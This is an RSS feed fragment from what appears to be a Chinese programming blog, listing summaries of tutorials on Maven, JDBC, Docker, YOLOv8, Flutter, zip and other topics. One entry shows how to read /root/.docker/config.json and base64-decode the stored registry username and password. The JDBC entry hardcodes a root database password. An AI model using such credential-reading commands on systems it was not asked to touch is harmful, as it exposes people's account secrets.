      <description> 使用pyecharts设置柱形图每个柱子的颜色不同，可以通过在add方法中使用itemstyle_opts参数来设置。具体来说，可以使用item_color选项来指定每个柱子的颜色。&#xA;例如，以下代码可以创建一个简单的柱状图，并将第一个柱子的颜色设置为红色，第二个柱子的颜色设置为绿色，第三个柱子的颜色设置为蓝色：&#xA;from pyecharts.charts import Bar bar = Bar() bar.add_xaxis([&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]) bar.add_yaxis(&#39;Series&#39;, [1, 2, 3], itemstyle_opt </description>
    </item>
    <item>
      <title>单片机非阻塞延时实现</title>
      <link>https://bchobby.github.io/posts/aac4cb3d98262e31418559342e99db6b/</link>
      <pubDate>Wed, 15 Feb 2023 17:20:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aac4cb3d98262e31418559342e99db6b/</guid>
      <description> 准备工作 1.1 配置定时器 利用单片机外设配置定时器中断 --- 1ms周期（该触发周期决定非阻塞延时精度）&#xA;1.2 定义全局变量以及编写中断服务函数 uint32_t delay_tick = 0; void TIM2_IRQHandler(void){ if(TIM_GetITStatus(TIM2,TIM_IT_Update)==SET){ delay_tick++; //1ms自加一次 delay_tick&amp;amp;=0xFFFFFFFF; //防止溢出 TIM_ClearITPendingBit(TIM2,TIM_IT_Update); //清除中断标志位 } } uint32_t GetDelayTick(void) { return delay_tick; } 1.3 定义全局变量以及编写ms精度延时函数 uint32_t tick = 0; bool IsTimeOut(uint32_t *tick, uint32_t delay_time){ uint32_t temp = 0; /* 获取上一次延时到时时刻到本次调用该函数时间间隔 */ if(*tick &amp;lt;= GetDelayTick()){ temp = GetDelayTick() - *tick; } //delay_tick已经产生溢出 else{ temp = 0xFFFFFFFF - *tick + GetDelayTick(); } /* 判断是否已经超过延时时间 */ if(temp &amp;gt;= delay_time){ *tick = sysTick; //记录本次延时到时时刻 return true; //延时时间到，返回true } return false; } </description>
    </item>
    <item>
      <title>maven的配置及使用</title>
      <link>https://bchobby.github.io/posts/70a108c8e38f43979bdcc73ab58ada68/</link>
      <pubDate>Wed, 15 Feb 2023 17:07:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70a108c8e38f43979bdcc73ab58ada68/</guid>
      <description>一、maven 1 简介 项目管理工具&#xA;项目对象模型project object model（pom）&#xA;一个项目：清理，编译，测试，打包，发布，部署&#xA;1.1.1 java构建工具的发展史 make： 编写makefile&#xA;Ant： Apache&#xA;maven：使用量较高&#xA;gradle：安卓端使用较多&#xA;bazel：&#xA;1.1.2 maven能做什么 管理jar包构建项目：自动完成 （清理，编译，测试，打包，发布，部署）项目的拆分与聚合 1.1.3 为什么使用maven IDE（继承开发环境）不是万能的，依赖大量的手动操作，编译，测试，代码生成，这些工作是相互独立的，很难一键自动操作很难统一所有IDE的配置 1.1.4 maven对jar文件的管理 没有maven之前，自己对jar包的下载，匹配版本，jar包重复使用，考虑jar包之间依赖的问题&#xA;2. maven应用 2.1 下载和安装 官网: https://maven.apache.org/&#xA;下载：https://dlcdn.apache.org/maven/maven-3/3.9.0/binaries/apache-maven-3.9.0-bin.zip&#xA;解压后的目录&#xA;bin：存放maven指令&#xA;boot：存放类加载器框架&#xA;conf：存放配置文件&#xA;lib：存放第三方jar包&#xA;安装&#xA;环境变量配置&#xA;maven_home&#xA;path路径&#xA;检验环境配置是否成功&#xA;mvn -v&#xA;配置jdk版本&#xA;pom.xml&#xA;&amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;maven.compiler.source&amp;gt;11&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;11&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;JAVA_HOME&amp;gt;C:\Users\hison\.jdks\corretto-11.0.17&amp;lt;/JAVA_HOME&amp;gt; &amp;lt;/properties&amp;gt; 2.2 maven的项目结构 不同的ide（继承开发环境），目录结构不同，导致不能直接将不同IDE开发的项目进行导入。&#xA;maven项目的目录结构是统一的&#xA;maven项目结构&#xA;mvn_app --pom.xml --src --main --java : 源代码的根 --com --mycompany --app --App.</description>
    </item>
    <item>
      <title>JDBC知识点</title>
      <link>https://bchobby.github.io/posts/345347c6e4ac1049bb0da7cff31a8b3d/</link>
      <pubDate>Wed, 15 Feb 2023 16:49:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/345347c6e4ac1049bb0da7cff31a8b3d/</guid>
      <description>JDBC JDBC驱动程序 数据库配置信息 url：连接数据库系统资源描述符 jdbc:mysql://localhost:3306/test?serverTimezone=GMT%2B8&#xA;DriverClass：数据库系统驱动名称&#xA;UserName：数据库系统用户名称&#xA;PassWord：登录数据库系统用户密码&#xA;others：其他信息&#xA;## 数据库属性配置信息 ## 连接数据库服务器URL jdbc_url = jdbc:mysql://localhost:3306/ATMSYSTEM?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;useSSL=true&amp;amp;serverTimezone=UTC ## 连接数据库服务器驱动类 jdbc_driver = com.mysql.jdbc.Driver ## 访问数据库服务器用户名称 jdbc_UserName = root ## 访问数据库服务器用户密码 jdbc_PassWord = 123456 步骤 加载驱动 Class.forName(“com.mysql.jdbc.Driver”);连接数据库 DriverManger.getConnection()； 返回Connection对象执行SQL对象 调用createStatement（） 返回Statement对象调用executeQuery（sql） 执行sql语句 try { Class.forName(&#34;com.mysql.cj.jdbc.Driver&#34;); //加载驱动 String url = &#34;jdbc:mysql://localhost:3306/test?serverTimezone=GMT%2B8&#34;; Connection connection = DriverManager.getConnection(url,&#34;root&#34;,&#34;123456&#34;); Statement statement = connection.createStatement(); String sql = &#34;select * from meet &#34;; ResultSet execute = statement.executeQuery(sql); while (execute.next()){ System.</description>
    </item>
    <item>
      <title>docker login 账号密码查看</title>
      <link>https://bchobby.github.io/posts/802f70d479b7e3eb05a85c825f1149d9/</link>
      <pubDate>Wed, 15 Feb 2023 16:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/802f70d479b7e3eb05a85c825f1149d9/</guid>
      <description>docker login 之后，会在 /root/.docker/config.json 中保存base64编码后的用户名和密码信息。&#xA;执行 sudo cat /root/.docker/config.json 打印文件内容，如下：&#xA;{ &#34;auths&#34;: { &#34;registry.*****.com&#34;: { &#34;auth&#34;: &#34;bWFya2l4OjEyMzQ1NmFiYw==&#34; } } } 文件中 auth 的值就是账号信息，解码后就可以看到用户名和密码， 格式为 username:password​​，冒号前面就是用户名，后面是密码。&#xA;base64 解码命令：echo 上面auth的值 | base64 -d&#xA;示例：&#xA;$ echo bWFya2l4OjEyMzQ1NmFiYw== | base64 -d markix:123456abc 账号就是markix，密码是123456abc&#xA;题外话：可以看到这种敏感信息很不安全，docker也支持将凭证保存在外部存储，可以了解下 credentials-store&#xA;end</description>
    </item>
    <item>
      <title>VScode shell脚本编程</title>
      <link>https://bchobby.github.io/posts/9b51d47135d8afb3392b54eb1c510e6f/</link>
      <pubDate>Wed, 15 Feb 2023 15:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b51d47135d8afb3392b54eb1c510e6f/</guid>
      <description>本文分享如何将vscode打造成shell脚本IDE，并分享一些关于shell相关的学习资料。&#xA;vscode打造shell脚本IDE【转】&#xA;近期多了些开发shell脚本的需求，便做了些研究，于是发现：&#xA;1、shell没有专用的IDE&#xA;2、老手们习惯了vim的开发方式，干起活来非常黑客。但对新人，不太友好&#xA;既然没有现成的，那就用插件组一套，软件依然是vscode。&#xA;shellman&#xA;说起IDE，第一时间想到的必然是智能提示和自动补全，shellman全部搞定 下载后，新建test.bash文件，输入case，可见如下结果：&#xA;选中提示中的第一个，然后就获得了if全家桶：&#xA;由上面两张图可见shellman的提示是比较系统的。&#xA;shellcheck&#xA;有了自动补全，然后就是语法错误检查了 安装成功后，再写代码就会出现如下的错误提示：&#xA;shell-format&#xA;脚本写好了，当然要格式化一下 快捷键：Alt+Shift+F&#xA;Code Runner&#xA;在vs code里开发，在vs code里纠错，又在vs code里格式化，到了调试不会要去命令行吧！ 安装完后，如果出现require reload的字样，请重启vs code。然后对刚才创建的test.bash右键，（或者在文件里右键）：</description>
    </item>
    <item>
      <title>Error in [.data.frame(data, c(i, j)) : undefined columns selected</title>
      <link>https://bchobby.github.io/posts/be9b57c2e1d9519bb1e474558dd81867/</link>
      <pubDate>Wed, 15 Feb 2023 15:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9b57c2e1d9519bb1e474558dd81867/</guid>
      <description> 这个错误是因为你在对数据框进行子集选择时，指定的列名(i和j)不存在于数据框中，导致选择出错。&#xA;可能的原因包括：&#xA;你打错了列名。列名包含空格或其他非法字符。数据框中确实不存在你指定的列名。 解决方法包括：&#xA;检查列名是否正确，确保没有打错或包含非法字符。使用列的索引号而不是列名进行子集选择。检查数据框是否包含你需要的列，可能需要重新导入数据或对数据进行清洗。 </description>
    </item>
    <item>
      <title>解决 error: subprocess-exited-with-error</title>
      <link>https://bchobby.github.io/posts/c24187c2854ee4b642ff701fcdaa9352/</link>
      <pubDate>Wed, 15 Feb 2023 15:18:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c24187c2854ee4b642ff701fcdaa9352/</guid>
      <description>&#34;error: subprocess-exited-with-error&#34; 是一个比较常见的错误，通常在使用命令行工具时出现。它表示执行的子进程在执行过程中出现了错误，可能是由于命令的语法错误、文件权限问题或其他原因导致的。&#xA;要解决这个错误，首先需要查看完整的错误消息和执行的命令。如果是语法错误，那么需要修改命令或脚本中的错误。如果是文件权限问题，需要使用适当的权限运行命令。&#xA;另外，还可以尝试将命令分成多个步骤，逐步调试，找到出现错误的具体步骤。如果还无法解决问题，可以在相关的开发者社区或论坛上寻求帮助，也可以咨询专业的技术支持人员。</description>
    </item>
    <item>
      <title>Qt开发-字符串详细讲解</title>
      <link>https://bchobby.github.io/posts/0ecfd95f2135893a0307ae35dad29d21/</link>
      <pubDate>Wed, 15 Feb 2023 14:43:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ecfd95f2135893a0307ae35dad29d21/</guid>
      <description>常用字符串类型 类型&#xA;说明&#xA;QChar&#xA;1个UTF-16字符。&#xA;QString&#xA;由QChar组成的字符串。默认使用深拷贝。如果必须使用浅拷贝，可以通过fromRawData进行构建。&#xA;QByteArray&#xA;传统字符串，以\0结尾。不建议使用。当前只在保存raw数据，或者使用内存非常严格的情况下可以使用。&#xA;QLatin1String&#xA;纯US-ASCII (ANSI X3.4-1986)和Latin-1 (ISO 8859-1)编码情况下，对char * 进行的轻量级封装。直接对纯latin1数据进行处理。速度比操作unicode编码数据更快。&#xA;QStringLiteral&#xA;宏！在编译期间，将一个const char * 对象转换成QString对象。节约程序运行时的操作。&#xA;QStringLiteral详细 #define QStringLiteral(str) \ ([]() noexcept -&amp;gt; QString { \ enum { Size = sizeof(QT_UNICODE_LITERAL(str))/2 - 1 }; \ static const QStaticStringData&amp;lt;Size&amp;gt; qstring_literal = { \ Q_STATIC_STRING_DATA_HEADER_INITIALIZER(Size), \ QT_UNICODE_LITERAL(str) }; \ QStringDataPtr holder = { qstring_literal.data_ptr() }; \ return QString(holder); \ }()) \ 这里是一个匿名函数，不抛任何异常。返回值是QString。&#xA;创建一个enum数值 Size，按照按照当前字符串的长度除以2，再刨除后面的\0.&#xA;利用Size创建一个QStaticStringData类型的数据qstring_literal，会返回qstring_literal的data_ptr()，直接转换成QString。</description>
    </item>
    <item>
      <title>YOLOv8进行改进并训练自定义的数据集</title>
      <link>https://bchobby.github.io/posts/d63ae197d4e1226a432c7d1722523775/</link>
      <pubDate>Wed, 15 Feb 2023 14:28:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d63ae197d4e1226a432c7d1722523775/</guid>
      <description>一.训练数据集准备 YOLOv8的训练数据格式与YOLOv5的训练数据格式一致，这一部分可以进行沿用。之前博文有发布VOC标注格式转YOLO标注格式的脚本，有需要可以查看。 二.项目克隆 YOLOv8项目文件可以直接去github上下载zip文件然后解压，也可以直接Git克隆。项目官方地址 三.训练前准备 这一部分首先保证机子上安装好了深度学习环境（可以跑YOLOv5就行）。 下一步用Pycharm打开YOLOv8项目，打开项目的终端，输入 pip install -r requirements.txt 到这里。如果按照官方的操作指南需安装ultralytics这个包（我认为，这也是YOLOv8相较于YOLOv5区别最大的地方），但是如果大家要对YOLOv8做出改进，这里可能会出现问题。因此，我推荐大家不要执行这一步操作（如果不需要对YOLOv8做出改进，可以按照官方的指南进行操作）。 四.模型训练 第一、需要创建数据集的yanl文件 NWPU VHR-10 dataset/split_data&#xA;train&#xA;images&#xA;000001.jpg&#xA;000002.jpg&#xA;000003.jpg&#xA;......&#xA;labels 000001.txt&#xA;000002.txt&#xA;000003.txt&#xA;......&#xA;val&#xA;images&#xA;......&#xA;labels&#xA;......&#xA;test&#xA;images&#xA;......&#xA;labels&#xA;......&#xA;第二、下载YOLOv8的预训练权重文件（这一步也可以不需要） 链接地址 第三、添加自定义模块（这里如果不对YOLOv8进行改进可以直接看第五步） 比如这里我要在YOLOv8的基础上添加CBAM注意力模块，首先打开modules.py，在下方添加CBAM注意力模块的代码实现。 再打开task.py，在对应位置添加CBAM模块的声明 第四、根据自己设计的网络结构修改yaml文件 比如这里我将YOLOv8中部分的C2f模块替换为C3模块。 第五、开始训练 这里也是和YOLOv5有着较大的差别，在YOLOv8中train、val和test的参数设置都是依赖于default.yaml这个文件，因此在对参数设置进行修改前，建议先对该文件进行备份。 这里进行切换任务与模式。 这里需要注意，在YOLOv5中是同时包含--weights预训练权重文件和--cfg模型文件，预训练权重（.pt）是由官方提供，模型文件（.yaml）是自己修改的文件，并在训练中导入相同层的权重信息。而在YOLOv8中，只有--model这一个参数设置，且同时允许.pt文件与.yaml文件的接受处理。因此，这里的话，我建议用yaml文件，因为这样我们才能载入我们自己设计的网络结构（注：从目前的实验来看，只导入yaml文件也能进行迁移学习，载入预训练权重文件）。--data存放我们数据集的yaml文件。其他参数可以根据自己的需求自己设定（注：这里发现YOLOv8在训练时GPU的内存占用比YOLOv5的大许多，有bug。部分博主说可通过减少workers来缓解此类现象）。 # Train settings ------------------------------------------------------------------------------------------------------- model: # path to model file, i.e. yolov8n.pt, yolov8n.yaml data: # path to data file, i.e. i.</description>
    </item>
    <item>
      <title>解释：ball_54_0 = io.loadmat(&#34;./CWRU/ball/ball54/222&#34;)[&#34;X222_DE_time&#34;].tolist()</title>
      <link>https://bchobby.github.io/posts/33882f2af6ad78b6f8eda5cbd6449e2c/</link>
      <pubDate>Wed, 15 Feb 2023 12:48:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33882f2af6ad78b6f8eda5cbd6449e2c/</guid>
      <description>这行代码的作用是从指定路径下的.mat文件中加载数据，将其中键名为&#34;X222_DE_time&#34;的数据取出并转换为列表，然后将该列表赋值给变量ball_54_0。其中，&#34;./CWRU/ball/ball54/222&#34;是.mat文件的路径，&#34;X222_DE_time&#34;是.mat文件中数据的键名。</description>
    </item>
    <item>
      <title>Java网络编程之UDP和TCP套接字</title>
      <link>https://bchobby.github.io/posts/6ddc693c9f13fec8a1ad26d0ec36e391/</link>
      <pubDate>Wed, 15 Feb 2023 12:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ddc693c9f13fec8a1ad26d0ec36e391/</guid>
      <description>文章目录 一. 网络编程概述二. UDP网络编程1. UDP套接字2. UDP客户端回显服务器程序2.1 UDP回显服务器2.2 UDP客户端2.3 UDP实现查词典的服务器 三. TCP网络编程1. TCP套接字2. TCP客户端回显服务器程序2.1 TCP回显服务器2.2 TCP客户端2.3 解决服务器无法同时出力多个客户端的问题2.4 TCP实现查词典的服务器 一. 网络编程概述 我们知道在网络通信中, 数据的发送是从应用层开始, 一直封装到物理层然后进行发送的, 应用层要将数据交给传输层进行封装; 而接收方拿到数据后是从物理层到应用层进行分用, 传输层要将拿到的数据再分用给应用层进行使用, 网络编程实际操作中最关键的就是我们所能控制的应用层和传输层之间的交互, 而在操作系统中提供了一组API即socket, 用来实现应用层和传输层之间的交互, Java当中把操作系统提供的API进行了进一步封装以便我们进行使用.&#xA;常见传输层协议有UDP和TCP两种, 其中UDP的特点是无连接, 不可靠传输, 面向数据报, 全双工; TCP的特点是有连接, 可靠传输, 面向字节流, 全双工.&#xA;使用TCP协议, 必须是通信双方先建立连接才能进行通信(想象打电话的场景), 而使用UDP协议在无连接的情况下可以进行通信(想象发微信, 短信的场景).&#xA;这里的可靠与不可靠传输指的不是安全性质, 而是说你发送出数据后, 能不能判断对方已经收到, 如果能够确定对方是否收到则就是可靠传输, 否则就是不可靠传输.&#xA;面向字节流就类文件读写数据的操作, 是 “流” 式的; 而面向数据报的话数据传输则是以一个个的 “数据报” 为基本单位(一个数据报可能是若干个字节, 是带有一定的格式的).&#xA;全双工是指一条通信链路, 可以双向传输(同一时间既可以发, 也可以收); 而半双工是一条链路, 只能单向通信.&#xA;二. UDP网络编程 1. UDP套接字 UDP类型的Socket, 涉及两个核心类, 一个是DatagramSocket, 其实例的对象表示UDP版本的Socket, 操作系统中将网卡这种硬件设备也抽象成了文件进行处理, 这个Soket对象也就成了文件描述表上面的一项, 通过操作这个Socket文件来间接的操作网卡, 就可以通信了.</description>
    </item>
    <item>
      <title>vue3&#43;ts登入按钮防抖和节流</title>
      <link>https://bchobby.github.io/posts/56fb8eb482f791753e8cb309e2dfc5ba/</link>
      <pubDate>Wed, 15 Feb 2023 12:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56fb8eb482f791753e8cb309e2dfc5ba/</guid>
      <description>1.在uilt文件夹下新建一个DebounceThrottle.ts进行函数的封装&#xA;// 防抖：防抖指的是在事件触发n秒后再执行回调，如果在n秒内再次被触发，则重新计算时间。 // 为什么需要防抖：就拿用户登录来说，如果不做防抖操作，多次点击登入按钮就会多次请求后台， // 既会造成不必要的性能消耗也会造成用户体验的不好 // 防抖在连续的事件，只需触发一次回调的场景有： // 搜索框搜索输入。只需用户最后一次输入完，再发送请求。 // 窗口大小的改变resize。只需窗口调整完成后，计算窗口大小。防止重复渲染。 // 登录、发短信等按钮避免用户点击太快，以致于发送了多次请求，需要防抖。 // 实现过程：封装一个函数并传递两个参数， // 第一个参数是需要调用的函数或者请求，第二个参数是延迟多少毫秒才执行函数 // 在函数里先定义一个空变量，再return一个匿名函数，在该函数中先判断定义的变量是否为空， // 为空就添加一个定时器，不为空就清除定时器 // fn代表有个函数，里面可能会频繁发生回调或ajax // delay表示间隔多少毫秒才触发，默认200毫秒 export function debounce(fn:Function,delay=200){//fn是需要防抖的函数，delay是延迟多少毫秒执行fn let timer:NodeJS.Timeout | null = null; return function (){ if(timer){ clearTimeout(timer); } timer=setTimeout(()=&amp;gt;{ fn.apply(fn,arguments); timer = null; },delay) console.log(timer,&#34;timer&#34;); } } // 节流：节流是指如果持续触发某个事件，则每隔n秒执行一次 // fn代表可能会频繁发生回调或ajax请求的函数 // delay表示间隔多少毫秒才触发，默认100毫秒 // 节流在间隔一段时间执行一次回调的场景有： // 滚动加载，加载更多或滚到底部监听 // 搜索框，搜索联想功能 // 实现过程：封装一个函数并传递两个参数， // 第一个参数是需要调用的函数或者请求，第二个参数是延迟多少毫秒才执行函数 // 在函数里先定义一个空变量，再return一个匿名函数，在该函数中先判断定义的变量是否为空， // 为空就执行定时器，不为空就不执行定时器而不是像防抖一样清除定时器 export function throttle(fn:Function,delay=100){ //首先设定一个变量，在没有执行我们的定时器为null let timer:NodeJS.</description>
    </item>
    <item>
      <title>如何安装docky和SuperTuxKart</title>
      <link>https://bchobby.github.io/posts/149981dc61e648ee3c4a89c4129da964/</link>
      <pubDate>Wed, 15 Feb 2023 11:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/149981dc61e648ee3c4a89c4129da964/</guid>
      <description>一、第一个安SuperTuxKart ：&#xA;1.1、 Ubuntu用户安装方法：&#xA;sudo add-apt-repository ppa:stk/dev&#xA;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install supertuxkart&#xA;下面以Ubuntu的衍生版ultimate为例,安装如下：&#xA;fantlam@fantlam-ODM:~$ sudo add-apt-repository ppa:stk/dev&#xA;[sudo] password for fantlam:&#xA;Executing: gpg –ignore-time-conflict –no-options –no-default-keyring –secret-keyring /etc/apt/secring.gpg –trustdb-name /etc/apt/trustdb.gpg –keyring /etc/apt/trusted.gpg –primary-keyring /etc/apt/trusted.gpg –keyserver keyserver.ubuntu.com –recv AEC3B92F669B86354C7D5E676D3B959722E58263&#xA;gpg: 下载密钥‘22E58263’，从 hkp 服务器 keyserver.ubuntu.com&#xA;gpg: 密钥 22E58263：公钥“Launchpad SuperTuxKart PPA”已导入&#xA;gpg: 合计被处理的数量：1&#xA;gpg: 已导入：1 (RSA: 1)&#xA;fantlam@fantlam-ODM:~$ sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install supertuxkart&#xA;[sudo] password for fantlam:</description>
    </item>
    <item>
      <title>Flutter更新showDialog以及showModalBottomSheet中的状态中的内容</title>
      <link>https://bchobby.github.io/posts/8e96fab5432694b40901caef44cc08cd/</link>
      <pubDate>Wed, 15 Feb 2023 11:18:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e96fab5432694b40901caef44cc08cd/</guid>
      <description>1.Flutter更新showDialog以及ModalBottomSheet中的状态中的内容 1、Flutter更新showDialog中的状态中的内容 很多人在用showDialog的时候应该都遇到过这个问题，使用showDialog后，通过setState()无法更新当前dialog。其实原因很简单，因为dialog其实是另一个页面，准确地来说是另一个路由，因为dialog的关闭也是通过navigator来pop的，所以它的地位跟你当前主页面一样。这个概念一定要明确，因为无论在Android或iOS中，daliog都是依附于当前主页面的一个控件，但是在Flutter中不同，它是一个新的路由。所以使用当前主页面的setState()来更新，当然没法达到你要的效果。&#xA;StatefulBuilder&#xA;很多人使用StatefulBuilder依然达不到更新的效果，是因为你用错了setState()方法。&#xA;就像我们上面说的那样，这个builder构建的控件，不会响应老页面的任何操作，因为它们是两个互不影响的路由控制的。&#xA;showDialog( context: context, builder: (context) { String label = &#39;test&#39;; return StatefulBuilder( builder: (context, state) { print(&#39;label = $label&#39;); return GestureDetector( child: Text(label), onTap: () { label = &#39;test8&#39;; print(&#39;onTap:label = $label&#39;); // 注意不是调用老页面的setState，而是要调用builder中的setState。 //在这里为了区分，在构建builder的时候将setState方法命名为了state。 state(() {}); }, ); }, ); }); 2、Flutter 更新showModalBottomSheet中的状态（state） 和上面一样的showModalBottomSheet也会有这样的问题。解决方法如下 bool btnState=false; showModalBottomSheet(context:context, builder:(BuildContext context){ return StatefulBuilder( builder:(context1, state) {///这里的state就是setState，这里是终点 return Container( child:OutlineButton( onPressed: (){ state(() {///为了区分把setState改个名字 btnState=!btnState; }); }, child:Stack( children: &amp;lt;Widget&amp;gt;[ Opacity( opacity: btnState ?</description>
    </item>
    <item>
      <title>zip 命令的解释与示例</title>
      <link>https://bchobby.github.io/posts/e423df5b86c01c377280e0b8562cc2c3/</link>
      <pubDate>Wed, 15 Feb 2023 11:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e423df5b86c01c377280e0b8562cc2c3/</guid>
      <description>这篇文章是 Linux 命令学习系列的一部分。&#xA;zip 文件是一个包含一个或多个文件的压缩档案。它作为一种无损数据压缩技术被广泛使用。由于压缩，它占用的磁盘空间更少，在计算机网络上传输时需要的数据也更少。&#xA;这些压缩文件可以在 Linux、Windows 和 macOS 中轻松提取。有各种支持压缩 zip 文件的软件，也提供提取它们的功能。&#xA;由于它很流行，几乎所有的操作系统都内置了这个功能。&#xA;在本教程中，我们将谈论几种基于终端的方法来压缩 Linux 中的文件。&#xA;Linux 中的 Zip 命令示例 语法&#xA;在 Linux 中，你需要使用的压缩文件的程序名称是 zip。下面是基本的语法：&#xA;zip [压缩文件名] file1 file2 file3 以下是正式的语法：&#xA;zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list] 理想情况下，zip 命令应该被安装在所有主流的 Linux 发行版中。如果没有，使用下面的命令来安装它。&#xA;在 Debian、Ubuntu 和相关发行版上安装&#xA;sudo apt install zip 在 Fedora、基于 RHEL 的系统上安装&#xA;sudo dnf install zip 在 Arch Linux 上安装&#xA;pacman -S zip 让我们继续看一些例子。</description>
    </item>
    <item>
      <title>Maven进阶</title>
      <link>https://bchobby.github.io/posts/29b2d2ae927700e06176689331c49ace/</link>
      <pubDate>Wed, 15 Feb 2023 10:49:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29b2d2ae927700e06176689331c49ace/</guid>
      <description>这里写目录标题 1.分模块开发1.1 模块更新后,会造成的影响 2.依赖管理2.1 依赖传递2.2 可选依赖(隐藏自己的依赖,不让别人用)2.3 排除依赖(用别人的资源,把不用的去了) 3.聚合与继承3.1 为什么要使用聚合工程?3.2 聚合工程开发3.3 继承关系3.3.1 可选依赖 3.4 聚合和继承的区别(重要) 4.属性管理5.版本管理6.多环境配置和应用6.1 跳过测试 1.分模块开发 我们之前做的项目,是将功能模块都汇聚到一起,这样会导致项目结构非常庞大,不利于开发人员的维护和开发,我希望是我做这个功能模块,那我就只要关心这个功能模块&#xA;一、模块拆分原则&#xA;目的：项目的扩展性变强了，方便其他项目引用相同的功能。&#xA;将原始模块按照功能拆分成若干个子模块，方便模块间的相互调用，接口共享&#xA;二、 通过maven指令安装模块到本地仓库（install指令）&#xA;我们写到一个功能模块后,使用mvn install命令将功能模块发布到本地仓库中(团队共享的仓库,也被称为私服)&#xA;三、 依赖管理&#xA;&amp;lt;!--设置当前项目所依赖的所有jar--&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!--设置具体的依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;!--依赖所属群组id--&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;!--依赖所属项目id--&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;!--依赖版本号--&amp;gt; &amp;lt;version&amp;gt;5.2.10.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 1.1 模块更新后,会造成的影响 举例:例如有controller、service、dao、pojo这四个模块,其中controller依赖service、service依赖dao、dao依赖pojo,那如果我们对pojo这个模块的功能进行修改, 此时启动服务会有哪些影响?&#xA;一、回答这个问题前,首先我们明确一点:即服务的启动流程&#xA;无论是普通的main函数,还是通过引导类启动服务,都会先对项目结构进行编译(compile),编译通过,才能启动函数/服务.&#xA;编译时会根据pom.xml文件中的依赖关系,从底层依赖开始编译,此时就会根据pojo的坐标,在本地仓库中找到pojo的jar包,编译通过,继续往上编译,只要当编译全部通过,才会启动服务&#xA;所以我们要清楚&#xA;controller中只有service的jar包坐标(非包含service的jar包)service中只有dao的jar包坐标(非包含dao的jar包)dao中只有pojo的jar坐标(非包含pojo的jar包) 如果service的jar包包含dao的jar包,就不可能只有3KB&#xA;二、此时我们可以回答这个问题:&#xA;如果我们修改了pojo模块分为两种情况&#xA;情况一:如果pojo类修改了,没有install,此时执行的是修改前的逻辑情况二:如果pojo类修改了,进行install,此时执行的是修改后的逻辑 我们只需要对pojo进行install,更新pojo的jar包即可,不用对service和dao的包进行install(因为jar包中只是引用依赖,而非依赖实际存在)&#xA;三、特殊情况&#xA;如果我们在同一个project中打开controller、service、dao、pojo,此时当我们修改了pojo中的代码(没有install),并启动项目,此时运行的也是修改后的代码哦!!!&#xA;2.依赖管理 2.1 依赖传递 路径优先: 当依赖中出现相同的资源时, 层级约深, 优先级越低, 层级越浅, 优先级越高声明优先: 当资源在相同层级被依赖时, 配置顺序靠前的覆盖配置顺序靠后的(非直接依赖)当同级配置了相同资源的不同版本,后配置的覆盖先配置的(直接依赖) 2.2 可选依赖(隐藏自己的依赖,不让别人用) 可选依赖指对外隐藏当前所依赖的资源————不透明</description>
    </item>
    <item>
      <title>vscode .vue 中的页面代码不显示颜色</title>
      <link>https://bchobby.github.io/posts/68f6fdb74382459ed05e6eba1d0827ee/</link>
      <pubDate>Wed, 15 Feb 2023 10:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68f6fdb74382459ed05e6eba1d0827ee/</guid>
      <description>如果你在使用VS Code时，发现你的.vue页面中的代码没有显示颜色，可以尝试以下方法来解决这个问题：&#xA;确认安装了适当的扩展。在VS Code中打开扩展面板(可以使用快捷键 Ctrl+Shift+X 或者 Cmd+Shift+X)，并搜索 Vue。如果你没有安装该扩展，安装它，并重启VS Code。这通常可以解决问题。&#xA;确认在VS Code的设置中启用了语言模式。在VS Code中打开设置(可以使用快捷键 Ctrl+, 或者 Cmd+,)，并搜索 files.associations。找到 .vue 文件的条目，并确保它与 &#34;vue&#34; 或</description>
    </item>
    <item>
      <title>已解决：由于缺少调试目标，无法开始调试。请生成项目并重试，或者相应的设置OutputPath和AssemblyName属性，使其指向目标程序集的正确位置。</title>
      <link>https://bchobby.github.io/posts/b48b228d15fe7f09ee5b9ed345676faa/</link>
      <pubDate>Wed, 15 Feb 2023 09:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b48b228d15fe7f09ee5b9ed345676faa/</guid>
      <description>网上找了一大堆方法，什么重新生成解决方案啊，重置啊等等，都没有用&#xA;后来我就自己观察发现代码有报错提示，我检查了代码中没有出现红色表示，如下图。&#xA;后来发现在Designer.cs文件中，打开后，将错误删除后，发现代码可以正常调试了，建议大家找到自己的错误，改正尝试一下，我觉得比网上的方法靠谱的多</description>
    </item>
    <item>
      <title>flink基本概念</title>
      <link>https://bchobby.github.io/posts/f45258ec43a1253464b6fd7962bce1d4/</link>
      <pubDate>Wed, 15 Feb 2023 08:47:54 +0800</pubDate>
